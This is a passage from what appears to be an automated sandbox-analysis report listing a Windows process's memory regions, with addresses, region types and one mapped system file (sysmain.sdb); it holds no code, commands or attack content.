entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7802 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7803 start_va = 0xf9d0000 end_va = 0xfb95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7804 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7805 start_va = 0xf740000 end_va = 0xf907fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f740000" filename = "" Region: id = 7806 start_va = 0xf9d0000 end_va = 0xfb91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 7807 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7808 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7809 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7810 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7811 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7812 start_va = 0x710000 end_va = 0x716fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 7813 start_va = 0x6e0000 end_va = 0x6e2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7814 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7815 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7816 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 7817 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7818 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7819 start_va = 0x7df5ffe40000 end_va = 0x7df5ffebdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 7830 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7831 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7832 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 7833 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7834 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7835 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7836 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 7837 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7838 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7839 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7840 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 7841 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7849 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7850 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7851 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 7852 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7854 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7855 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7856 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 7857 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7858 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7859 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7860 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 7861 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7862 start_va = 0x23a0000 end_va = 0x23a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7863 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 7864 start_va = 0x23b0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 7865 start_va = 0x2900000 end_va = 0x290ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002900000" filename = "" Region: id = 7866 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023b0000" filename = "" Region: id = 7867 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023b0000" filename = "" Region: id = 7868 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7869 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7870 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7871 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7872 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7873 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7874 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7875 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7876 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7877 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7878 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7879 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7880 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7881 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7882 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7883 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7884 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7885 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7886 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7887 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7888 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7889 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7890 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7891 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7892 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7893 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7894 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7895 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7896 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7897 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7898 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7899 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7900 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7901 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7902 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7903 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7904 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7905 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7906 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7907 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7908 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7909 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7910 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7911 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7912 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7913 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7914 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7915 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7916 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7917 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7918 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7919 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7920 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7921 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7922 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7923 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7924 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7925 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7926 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7927 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7928 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7929 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7930 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7931 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7932 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7933 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7934 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7935 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7936 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7937 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7938 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7939 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7940 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7941 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7942 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7943 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7944 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7945 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7946 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7947 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7948 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7949 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7950 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7951 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7952 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7953 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7954 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7955 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7956 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7957 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7958 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7959 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7960 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7961 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7962 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7963 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7964 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7965 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7966 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7967 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7968 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7969 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7970 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7971 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7972 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7973 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7974 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7975 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7976 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7977 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7978 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7979 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7980 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7981 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7982 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7983 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7984 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7985 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7986 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 7987 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7988 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7989 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7990 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7991 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7992 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7993 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7994 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7995 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7996 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7997 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7998 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7999 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8000 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8001 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8002 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8003 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8004 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8005 start_va = 0x470000 end_va = 0x471fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 8006 start_va = 0x23a0000 end_va = 0x23c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8007 start_va = 0x2900000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 8008 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8009 start_va = 0x10bd0000 end_va = 0x10c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010bd0000" filename = "" Region: id = 8010 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8011 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8012 start_va = 0x6e0000 end_va = 0x6e2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 8013 start_va = 0x8fd0000 end_va = 0x9108fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 8014 start_va = 0x10c50000 end_va = 0x10ccffff monitored = 1 entry_point = 0x0 region_type = private name = 